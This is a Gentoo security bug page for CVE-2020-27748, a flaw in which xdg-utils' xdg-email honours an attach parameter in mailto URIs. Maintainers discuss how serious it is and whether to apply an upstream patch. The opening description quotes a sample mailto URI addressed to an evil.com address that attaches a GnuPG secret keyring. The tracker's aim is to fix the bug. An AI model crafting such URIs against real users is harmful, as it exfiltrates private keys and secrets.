Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 756838 (CVE-2020-27748) - x11-misc/xdg-utils: Improper handling of mailto URI (CVE-2020-27748)
Summary: x11-misc/xdg-utils: Improper handling of mailto URI (CVE-2020-27748)
Status: IN_PROGRESS
Alias: CVE-2020-27748
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: Normal normal
Assignee: Gentoo Security
URL: https://gitlab.freedesktop.org/xdg/xd...
Whiteboard: A4 [upstream/ebuild]
Keywords:
Depends on:
Blocks:
 
Reported: 2020-11-26 16:31 UTC by Sam James
Modified: 2022-11-20 03:16 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Sam James archtester Gentoo Infrastructure gentoo-dev Security 2020-11-26 16:31:40 UTC
A local file inclusion vulnerability was found in xdc-utils:
"xdg-email: remove attachment handling from mailto
This allows attacker to extract secrets from users:

mailto:sid@evil.com?attach=/.gnupg/secring.gpg"
Comment 1 Sam James archtester Gentoo Infrastructure gentoo-dev Security 2020-11-26 16:31:54 UTC
Please apply the linked patch.
Comment 2 Sam James archtester Gentoo Infrastructure gentoo-dev Security 2020-11-26 16:32:49 UTC
(In reply to Sam James from comment #1)
> Please apply the linked patch.

https://gitlab.freedesktop.org/Mic92/xdg-utils/-/commit/1f199813e0eb0246f63b54e9e154970e609575af, if you feel it's suitable.

Upstream issue seems dead.
Comment 3 Mike Gilbert gentoo-dev 2020-11-27 01:42:11 UTC
So this only affects people who call xdg-email and have Thunderbird as their default mail client, and fail to notice that a file got attached to their message.

This seems pretty unlikely to actually happen to me. I think we should wait for a change to be merged upstream.
Comment 4 NATTkA bot gentoo-dev 2021-07-29 17:25:15 UTC Comment hidden (obsolete)
Comment 5 NATTkA bot gentoo-dev 2021-07-29 17:33:47 UTC Comment hidden (obsolete)
Comment 6 NATTkA bot gentoo-dev 2021-07-29 17:41:40 UTC Comment hidden (obsolete)
Comment 7 NATTkA bot gentoo-dev 2021-07-29 17:49:50 UTC Comment hidden (obsolete)
Comment 8 NATTkA bot gentoo-dev 2021-07-29 18:05:43 UTC Comment hidden (obsolete)
Comment 9 NATTkA bot gentoo-dev 2021-07-29 18:14:03 UTC
Package list is empty or all packages have requested keywords.
Comment 10 Federico Justus Denkena 2022-07-13 19:46:50 UTC
Fix never got merged upstream due to upstream being pretty much dead. Tbh it seems pretty unlikely that upstream will ever merge the fix, vulnerable version still remains in tree and it's not too difficult to exploit (if rather unlikely to find vulnerable configurations). Thus I think we should pull the fix from private forks and patch the tree, waiting for upstream any longer doesn't make any sense to me.
Comment 11 John Helmert III archtester Gentoo Infrastructure gentoo-dev Security 2022-07-13 20:59:01 UTC
(In reply to 9ts641j2 from comment #10)
> Fix never got merged upstream due to upstream being pretty much dead. Tbh it
> seems pretty unlikely that upstream will ever merge the fix, vulnerable
> version still remains in tree and it's not too difficult to exploit (if
> rather unlikely to find vulnerable configurations). Thus I think we should
> pull the fix from private forks and patch the tree, waiting for upstream any
> longer doesn't make any sense to me.

Can you share patches that other distributions might be applying?
Comment 13 Sam James archtester Gentoo Infrastructure gentoo-dev Security 2022-07-14 06:54:35 UTC
(In reply to 9ts641j2 from comment #12)
> https://gitlab.freedesktop.org/Mic92/xdg-utils/-/commit/
> 1f199813e0eb0246f63b54e9e154970e609575af

so the patch I linked originally? :)

If you want us to apply other patches, link them.
Comment 14 Federico Justus Denkena 2022-07-14 19:47:00 UTC
I didn't have any other patches in mind, however judging from the ebuild I don't think this patch has been applied yet. I could be wrong there, if not I'd be happy to submit a PR for this.